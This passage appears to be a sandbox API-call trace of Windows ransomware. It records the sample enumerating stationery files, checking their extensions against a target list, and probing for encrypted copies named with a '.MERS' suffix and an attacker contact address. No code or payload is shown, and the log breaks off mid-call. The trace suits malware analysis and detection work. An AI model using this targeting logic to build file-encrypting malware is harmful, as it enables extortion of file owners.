shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.048] lstrlenW (lpString=".doc") returned 4 [0045.048] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.049] lstrlenW (lpString=".docx") returned 5 [0045.049] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0045.049] lstrlenW (lpString=".pdf") returned 4 [0045.049] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.049] lstrlenW (lpString=".xls") returned 4 [0045.049] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.049] lstrlenW (lpString=".xlsx") returned 5 [0045.049] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0045.049] lstrlenW (lpString=".ppt") returned 4 [0045.049] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.049] lstrlenW (lpString=".zip") returned 4 [0045.049] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.049] lstrlenW (lpString=".rar") returned 4 [0045.049] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.049] lstrlenW (lpString=".bz2") returned 4 [0045.049] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.049] lstrlenW (lpString=".7z") returned 3 [0045.049] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.049] lstrlenW (lpString=".dbf") returned 4 [0045.049] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0045.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.049] lstrlenW (lpString=".1cd") returned 4 [0045.049] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0045.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.049] lstrlenW (lpString=".jpg") returned 4 [0045.049] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0045.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.049] lstrlenW (lpString=".doc") returned 4 [0045.049] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.049] lstrlenW (lpString=".docx") returned 5 [0045.049] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0045.049] lstrlenW (lpString=".pdf") returned 4 [0045.049] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.049] lstrlenW (lpString=".xls") returned 4 [0045.049] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.050] lstrlenW (lpString=".xlsx") returned 5 [0045.050] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0045.050] lstrlenW (lpString=".ppt") returned 4 [0045.050] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.050] lstrlenW (lpString=".zip") returned 4 [0045.050] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.050] lstrlenW (lpString=".rar") returned 4 [0045.050] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.050] lstrlenW (lpString=".bz2") returned 4 [0045.050] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.050] lstrlenW (lpString=".7z") returned 3 [0045.050] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.050] lstrlenW (lpString=".dbf") returned 4 [0045.050] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0045.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.050] lstrlenW (lpString=".1cd") returned 4 [0045.050] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0045.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0045.050] lstrlenW (lpString=".jpg") returned 4 [0045.050] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0045.050] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0045.050] lstrlenW (lpString="Bears.jpg") returned 9 [0045.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.051] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1074) returned 1 [0045.051] CloseHandle (hObject=0x1c4) returned 1 [0045.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0045.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.051] lstrlenW (lpString=".doc") returned 4 [0045.051] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.051] lstrlenW (lpString=".docx") returned 5 [0045.051] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0045.051] lstrlenW (lpString=".pdf") returned 4 [0045.051] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.051] lstrlenW (lpString=".xls") returned 4 [0045.051] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.051] lstrlenW (lpString=".xlsx") returned 5 [0045.051] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0045.052] lstrlenW (lpString=".ppt") returned 4 [0045.052] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.052] lstrlenW (lpString=".zip") returned 4 [0045.052] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.052] lstrlenW (lpString=".rar") returned 4 [0045.052] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.052] lstrlenW (lpString=".bz2") returned 4 [0045.052] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.052] lstrlenW (lpString=".7z") returned 3 [0045.052] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.052] lstrlenW (lpString=".dbf") returned 4 [0045.052] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.052] lstrlenW (lpString=".1cd") returned 4 [0045.052] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.052] lstrlenW (lpString=".jpg") returned 4 [0045.052] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.052] lstrlenW (lpString=".doc") returned 4 [0045.052] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.052] lstrlenW (lpString=".docx") returned 5 [0045.052] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0045.052] lstrlenW (lpString=".pdf") returned 4 [0045.052] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.052] lstrlenW (lpString=".xls") returned 4 [0045.052] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.052] lstrlenW (lpString=".xlsx") returned 5 [0045.052] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0045.052] lstrlenW (lpString=".ppt") returned 4 [0045.052] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.052] lstrlenW (lpString=".zip") returned 4 [0045.053] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.053] lstrlenW (lpString=".rar") returned 4 [0045.053] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.053] lstrlenW (lpString=".bz2") returned 4 [0045.053] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.053] lstrlenW (lpString=".7z") returned 3 [0045.053] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.053] lstrlenW (lpString=".dbf") returned 4 [0045.053] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.053] lstrlenW (lpString=".1cd") returned 4 [0045.053] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0045.053] lstrlenW (lpString=".jpg") returned 4 [0045.053] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.053] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0045.053] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0045.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.054] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2575) returned 1 [0045.054] CloseHandle (hObject=0x1c4) returned 1 [0045.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0045.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.055] lstrlenW (lpString=".doc") returned 4 [0045.055] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.055] lstrlenW (lpString=".docx") returned 5 [0045.055] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0045.055] lstrlenW (lpString=".pdf") returned 4 [0045.055] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.055] lstrlenW (lpString=".xls") returned 4 [0045.055] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.055] lstrlenW (lpString=".xlsx") returned 5 [0045.055] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0045.055] lstrlenW (lpString=".ppt") returned 4 [0045.055] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.055] lstrlenW (lpString=".zip") returned 4 [0045.055] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.055] lstrlenW (lpString=".rar") returned 4 [0045.055] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.055] lstrlenW (lpString=".bz2") returned 4 [0045.055] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.055] lstrlenW (lpString=".7z") returned 3 [0045.055] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.055] lstrlenW (lpString=".dbf") returned 4 [0045.055] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.055] lstrlenW (lpString=".1cd") returned 4 [0045.055] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.056] lstrlenW (lpString=".jpg") returned 4 [0045.056] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.056] lstrlenW (lpString=".doc") returned 4 [0045.056] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.056] lstrlenW (lpString=".docx") returned 5 [0045.056] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0045.056] lstrlenW (lpString=".pdf") returned 4 [0045.056] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.056] lstrlenW (lpString=".xls") returned 4 [0045.056] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.056] lstrlenW (lpString=".xlsx") returned 5 [0045.056] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0045.056] lstrlenW (lpString=".ppt") returned 4 [0045.056] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.056] lstrlenW (lpString=".zip") returned 4 [0045.056] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.056] lstrlenW (lpString=".rar") returned 4 [0045.056] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.056] lstrlenW (lpString=".bz2") returned 4 [0045.056] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.056] lstrlenW (lpString=".7z") returned 3 [0045.056] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.056] lstrlenW (lpString=".dbf") returned 4 [0045.057] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.057] lstrlenW (lpString=".1cd") returned 4 [0045.057] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0045.057] lstrlenW (lpString=".jpg") returned 4 [0045.057] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.057] lstrcmpiW (lpString1=".gif", lpString2=".MERS") returned -1 [0045.057] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0045.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.057] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4587) returned 1 [0045.057] CloseHandle (hObject=0x1c4) returned 1 [0045.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0045.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.057] lstrlenW (lpString=".doc") returned 4 [0045.057] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0045.058] lstrlenW (lpString=".docx") returned 5 [0045.058] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0045.058] lstrlenW (lpString=".pdf") returned 4 [0045.058] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0045.058] lstrlenW (lpString=".xls") returned 4 [0045.058] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0045.058] lstrlenW (lpString=".xlsx") returned 5 [0045.058] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0045.058] lstrlenW (lpString=".ppt") returned 4 [0045.058] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0045.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.058] lstrlenW (lpString=".zip") returned 4 [0045.058] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0045.058] lstrlenW (lpString=".rar") returned 4 [0045.058] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0045.058] lstrlenW (lpString=".bz2") returned 4 [0045.058] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0045.058] lstrlenW (lpString=".7z") returned 3 [0045.058] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0045.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.058] lstrlenW (lpString=".dbf") returned 4 [0045.058] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0045.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.058] lstrlenW (lpString=".1cd") returned 4 [0045.058] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0045.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.058] lstrlenW (lpString=".jpg") returned 4 [0045.058] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0045.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.058] lstrlenW (lpString=".doc") returned 4 [0045.058] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0045.058] lstrlenW (lpString=".docx") returned 5 [0045.058] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0045.058] lstrlenW (lpString=".pdf") returned 4 [0045.058] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0045.058] lstrlenW (lpString=".xls") returned 4 [0045.059] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0045.059] lstrlenW (lpString=".xlsx") returned 5 [0045.059] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0045.059] lstrlenW (lpString=".ppt") returned 4 [0045.059] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0045.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.059] lstrlenW (lpString=".zip") returned 4 [0045.059] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0045.059] lstrlenW (lpString=".rar") returned 4 [0045.059] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0045.059] lstrlenW (lpString=".bz2") returned 4 [0045.059] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0045.059] lstrlenW (lpString=".7z") returned 3 [0045.059] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0045.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.059] lstrlenW (lpString=".dbf") returned 4 [0045.059] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0045.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.059] lstrlenW (lpString=".1cd") returned 4 [0045.059] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0045.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0045.059] lstrlenW (lpString=".jpg") returned 4 [0045.059] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0045.059] lstrcmpiW (lpString1=".gif", lpString2=".MERS") returned -1 [0045.059] lstrlenW (lpString="Connectivity.gif") returned 16 [0045.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.060] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2319) returned 1 [0045.060] CloseHandle (hObject=0x1c4) returned 1 [0045.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0045.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.060] lstrlenW (lpString=".doc") returned 4 [0045.060] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0045.060] lstrlenW (lpString=".docx") returned 5 [0045.060] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0045.060] lstrlenW (lpString=".pdf") returned 4 [0045.060] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0045.060] lstrlenW (lpString=".xls") returned 4 [0045.060] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0045.060] lstrlenW (lpString=".xlsx") returned 5 [0045.060] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0045.060] lstrlenW (lpString=".ppt") returned 4 [0045.060] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0045.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.060] lstrlenW (lpString=".zip") returned 4 [0045.060] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0045.060] lstrlenW (lpString=".rar") returned 4 [0045.060] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0045.060] lstrlenW (lpString=".bz2") returned 4 [0045.060] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0045.060] lstrlenW (lpString=".7z") returned 3 [0045.061] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0045.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.061] lstrlenW (lpString=".dbf") returned 4 [0045.061] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0045.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.061] lstrlenW (lpString=".1cd") returned 4 [0045.061] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0045.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.061] lstrlenW (lpString=".jpg") returned 4 [0045.061] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0045.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0045.061] lstrlenW (lpString=".doc") returned 4 [0045.061] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0045.061] lstrlenW (lpString=".docx") returned 5 [0045.061] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0045.061] lstrlenW (lpString=".pdf") returned 4 [0045.061] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0045.061] lstrlenW (lpString=".xls") returned 4 [0045.061] lstrcmpiW (lpString1=".xls", lpString2=".gif") 